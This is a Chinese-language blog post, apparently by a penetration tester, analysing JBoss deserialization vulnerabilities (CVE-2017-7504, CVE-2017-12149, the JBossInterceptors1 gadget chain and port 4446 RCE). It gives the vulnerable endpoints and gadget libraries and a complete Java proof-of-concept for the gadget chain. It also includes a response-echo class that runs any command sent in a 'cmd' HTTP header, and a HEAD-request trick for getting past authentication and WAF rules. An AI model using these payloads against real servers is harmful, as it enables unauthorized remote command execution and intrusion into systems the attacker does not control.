实战遇到了JBoss反序列化,发现之前写的太烂了,重新梳理了一下

CVE-2017-7504

影响版本:JBoss AS 4.x及之前版本

下载地址:https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA

安装成功后需要修改jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml,设置远程访问

将目录jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/classes/org打包

执行命令jar cvf jbossmq-httpil.jar ./org,然后导入即可

漏洞分析

看到jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml

存在一个 HTTPServerILServlet 的 servlet,跟进到类org.jboss.mq.il.http.servlet.HTTPServerILServlet

POST传递的话,会触发 processRequest 方法,跟进

直接 readObject 进行反序列化

存在漏洞的路径为:

1
/jbossmq-httpil/HTTPServerILServlet/*

CVE-2017-12149

影响版本:5.x、6.x

下载地址:https://jbossas.jboss.org/downloads/,我这里下载的版本为JBoss AS 6.1.0.Final

需要将jboss-6.1.0.Final/server/all/deploy/httpha-invoker.sar/invoker.war/WEB-INF/classes/org目录打包

漏洞分析

漏洞触发点在org.jboss.invocation.http.servlet.ReadOnlyAccessFilter#doFilter方法

可以看出它从POST中获取数据,然后调用readObject()方法对数据流进行反序列化
在web.xml中可以看到路径为/readonly/*

org.jboss.invocation.http.servlet.InvokerServlet#processRequest同样存在反序列化点

发现doGet和doPost都会调用该方法

依照web.xml,得出存在漏洞的路径为:

1
2
3
4
5
6
/invoker/readonly/*
/invoker/JMXInvokerServlet/*
/invoker/EJBInvokerServlet/*
/invoker/JMXInvokerHAServlet/*
/invoker/EJBInvokerHAServlet/*
/invoker/restricted/JMXInvokerServlet/* (需要登录)

可利用的链(注意版本):

1
2
3
commons-collections-3.1.jar
commons-beanutils-1.8.0.jar
hibernate-core-3.6.6.Final.jar

漏洞利用

访问/invoker/readonly,发现http响应码 500,说明存在漏洞

使用工具:https://github.com/yunxu1/jboss-_CVE-2017-12149,即可rce

JBossInterceptors1

ysoserial上面有一条 JBoss 自带的反序列化链,poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import tools.Evil;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class JBossInterceptors1 {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);

Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);

Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));

List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();

hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);

builder.interceptAll().with(simpleInterceptorMetadata);

InterceptionModel model = builder.build();

HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();

InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return obj;
}
};
InterceptorMethodHandler exp = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(exp);
out.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

简单看一下

看到org.jboss.interceptor.proxy.InterceptorMethodHandler的初始化

我们可以构造一个createFor方法,这样就可以存放到 interceptorHandlerInstances 当中

1
2
3
4
5
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return obj;
}
};

看到它的 readObject 方法

执行了 executeInterception 方法,并且 isProxy()为true,跟进

主要就是执行了以下代码,对 SimpleInterceptionChain 进行初始化

1
2
3
4
5
6
7
List<? extends InterceptorMetadata<?>> interceptorList = interceptionModel.getInterceptors(interceptionType, thisMethod);
Collection<InterceptorInvocation<?>> interceptorInvocations = new ArrayList<InterceptorInvocation<?>>();
for (InterceptorMetadata interceptorReference : interceptorList)
{
interceptorInvocations.add(new InterceptorInvocation(interceptorHandlerInstances.get(interceptorReference), interceptorReference, interceptionType));
}
SimpleInterceptionChain chain = new SimpleInterceptionChain(interceptorInvocations, interceptionType, isProxy() ? targetInstance : self, isProxy() ? thisMethod : proceedingMethod);

继续往下,走到org.jboss.interceptor.proxy.SimpleInterceptionChain#invokeNextInterceptor

最后调用到了org.jboss.interceptor.proxy.InterceptorInvocation#invoke

可以看到反射调用了 instance 类的 javaMethod 方法,并且这些都是我们可控的,导致任意方法调用

调用栈如下:

1
2
3
4
5
6
7
8
9
10
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:74, InterceptorInvocation$InterceptorMethodInvocation (org.jboss.interceptor.proxy)
invokeNextInterceptor:87, SimpleInterceptionChain (org.jboss.interceptor.proxy)
executeInterception:133, InterceptorMethodHandler (org.jboss.interceptor.proxy)
readObject:158, InterceptorMethodHandler (org.jboss.interceptor.proxy)

回显构造

首先看一下写进去的/tmp/RunCheckConfig.class代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;

public class RunCheckConfig {
public RunCheckConfig(String paramcmd) throws Exception {
StringBuffer localStringBuffer = new StringBuffer();
File file = new File("/tmp/RunCheckConfig.class");
if (file.exists()) {
localStringBuffer.append("[L291919]\r\n");
} else {
localStringBuffer.append("[W291013]\r\n");
}

Process localProcess = Runtime.getRuntime().exec(paramcmd);
BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localProcess.getInputStream()));

String str1;
while((str1 = localBufferedReader.readLine()) != null) {
localStringBuffer.append(str1).append("\n");
}

String str2 = localStringBuffer.toString();
Exception localException = new Exception(str2);
throw localException;
}
}

由于这个漏洞会将报错结果显示出来,这里可以将命令执行的结果添加到报错信息中,就可以得到命令执行的结果了,但这个方法并不通用,我们需要一个更好的方法

我们直接看到Thread.currentThread(),即当前线程

遍历线程组可以获取到org.apache.catalina.connector.Request,然后通过 getResponse() 方法得到 Response,最后 getWriter() 方法回显,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class JbossEcho extends AbstractTranslet{
static {
try {
Thread thread = Thread.currentThread();
Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);

Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] Entries = (Object[]) tableField.get(threadLocalMap);

Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);

for (Object entry : Entries) {
if (entry != null) {
try {
Object httpConnection = entryValueField.get(entry);
if (httpConnection != null) {
if (httpConnection.getClass().getName().equals("org.apache.catalina.connector.Request")) {
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)httpConnection;
org.apache.catalina.connector.Response response = request.getResponse();
response.setStatus(200);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getHeader("cmd")} : new String[]{"cmd.exe", "/c", request.getHeader("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
} catch (IllegalAccessException e) {
}
}
}
} catch (Exception e) {
}
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}

可参考文章:
Wildfly中间件内存马分析
Jboss漏洞回显

绕过waf

首先/invoker/readonly路由是一个filter,所以任意的请求模式都可以触发

但如果waf匹配了路由呢,这里注意到一个特殊的路由/invoker/restricted/JMXInvokerServlet,正常访问是返回401, 在web.xml中有对/restricted/*路由做验证,必须在登录之后才能触发

发现 JBOSS 的 security-constraint 只对 GET/POST 请求模式进行验证,如果非 GET/POST 还是能够绕过鉴权成功访问,但是因为这个路由是Servlet不是Filter,所以不能够随意修改请求模式,请求模式必须是RFC 2068里所定义的GET/POST/PUT/DELETE/HEAD

可以看到 HEAD 头会调用doGet,而 GET 也会触发反序列,所以可以绕过登录实现反序列化
但是由于是NobodyResponse,所以我们需要在header头实现回显,改为:

1
2
response.addHeader("echo",output);
response.flushBuffer();

利用成功

参考:
Jboss渗透合集
JBOSS CVE-2017-12149 WAF绕过之旅
一次老版本jboss反序列化漏洞的利用分析

JBoss EAP/AS <= 6.* RCE

这个洞是在国外Alligator Conference 2019会议上的一个议题,PPT:https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf

议题中讲到了 JBoss 的4446端口反序列化RCE,和一条 jndi 注入的 gadget

4446:JBoss Remoting Unified Invoker
3873:EJB Remoting Connector

具体的漏洞分析师傅们已经写的很好了,就不多废话了:
JBoss EAP/AS <= 6.* RCE及rpc回显
JBoss Remoting Connector 4446端口反序列化分析